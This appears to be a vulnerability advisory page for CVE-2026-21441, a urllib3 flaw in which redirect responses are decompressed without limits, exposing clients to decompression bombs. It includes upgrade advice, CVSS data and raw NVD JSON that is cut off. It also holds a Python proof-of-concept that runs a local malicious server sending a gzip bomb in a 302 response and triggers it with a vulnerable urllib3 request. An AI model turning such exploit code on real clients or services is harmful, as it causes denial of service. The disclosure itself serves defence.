Security Vulnerability Report
中文
CVE-2026-21441 CVSS 7.5 HIGH

CVE-2026-21441

Published: 2026-01-07 22:15:44
Last Modified: 2026-01-23 09:15:48

Description

urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:python:urllib3:*:*:*:*:*:*:*:* - VULNERABLE
urllib3 >= 1.22 and < 2.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21441 PoC - urllib3 decompression bomb via redirect This PoC demonstrates how a malicious server can trigger excessive resource consumption on urllib3 client through crafted redirect responses. """ import http.server import socketserver import threading import time import gzip import os # Generate a small but highly compressible payload (zip bomb simulation) def generate_bomb_payload(): """Generate payload that expands dramatically when decompressed""" # Create data that compresses extremely well (repeated pattern) bomb_data = b'\x00' * 1024 * 1024 # 1MB of zeros compresses to ~1KB return gzip.compress(bomb_data) class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler): """Handler that sends redirect with decompression bomb""" def do_GET(self): if self.path == '/normal': # Initial request - send redirect self.send_response(302) self.send_header('Location', '/bomb') self.send_header('Content-Encoding', 'gzip') self.send_header('Content-Length', str(len(self.bomb_payload))) self.end_headers() self.wfile.write(self.bomb_payload) elif self.path == '/bomb': # Redirect target with bomb payload self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Bomb triggered!') def log_message(self, format, *args): print(f"[Malicious Server] {format % args}") def start_malicious_server(port=8888): """Start the malicious server""" # Pre-generate bomb payload MaliciousRedirectHandler.bomb_payload = generate_bomb_payload() print(f"Generated bomb payload: {len(MaliciousRedirectHandler.bomb_payload)} bytes") with socketserver.TCPServer(("", port), MaliciousRedirectHandler) as httpd: print(f"Malicious server running on port {port}") httpd.handle_request() def exploit_urllib3(): """Demonstrate the vulnerability using urllib3""" import urllib3 print("\n[*] Testing urllib3 with preload_content=False") print("[*] This configuration is vulnerable to decompression bomb via redirect\n") # Vulnerable configuration: preload_content=False with redirects enabled http = urllib3.PoolManager() try: # This will trigger the redirect, causing pre-decompression of bomb response = http.request('GET', 'http://localhost:8888/normal', preload_content=False, timeout=10.0) print("[!] Request completed - decompression bomb was processed") print(f"[*] Response data available: {response.data}") except Exception as e: print(f"[!] Request failed (may indicate resource exhaustion): {e}") if __name__ == '__main__': print("=" * 60) print("CVE-2026-21441 - urllib3 Decompression Bomb via Redirect") print("=" * 60) # Start malicious server in background server_thread = threading.Thread(target=start_malicious_server, daemon=True) server_thread.start() time.sleep(0.5) # Run exploit exploit_urllib3()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21441", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:44.040", "lastModified": "2026-01-23T09:15:47.823", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source."}, {"lang": "es", "value": "urllib3 es una biblioteca cliente HTTP para Python. La API de streaming de urllib3 está diseñada para el manejo eficiente de grandes respuestas HTTP leyendo el contenido en fragmentos, en lugar de cargar el cuerpo completo de la respuesta en la memoria de una sola vez. urllib3 puede realizar decodificación o descompresión basándose en el encabezado HTTP 'Content-Encoding' (por ejemplo, 'gzip', 'deflate', 'br' o 'zstd'). Al usar la API de streaming, la biblioteca descomprime solo los bytes necesarios, permitiendo el consumo parcial del contenido. A partir de la versión 1.22 y antes de la versión 2.6.3, para las respuestas de redirección HTTP, la biblioteca leería el cuerpo completo de la respuesta para vaciar la conexión y descomprimir el contenido innecesariamente. Esta descompresión ocurría incluso antes de que se llamara a cualquier método de lectura, y los límites de lectura configurados no restringían la cantidad de datos descomprimidos. Como resultado, no había ninguna salvaguarda contra las bombas de descompresión. Un servidor malicioso podría explotar esto para desencadenar un consumo excesivo de recursos en el cliente. Las aplicaciones y bibliotecas se ven afectadas cuando transmiten contenido de fuentes no confiables al establecer 'preload_content=False' cuando no deshabilitan las redirecciones. Los usuarios deberían actualizar al menos a urllib3 v2.6.3, en la cual la biblioteca no decodifica el contenido de las respuestas de redirección cuando 'preload_content=False'. Si la actualización no es posible de inmediato, deshabilite las redirecciones estableciendo 'redirect=False' para las solicitudes a fuentes no confiables."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssDat ... (truncated)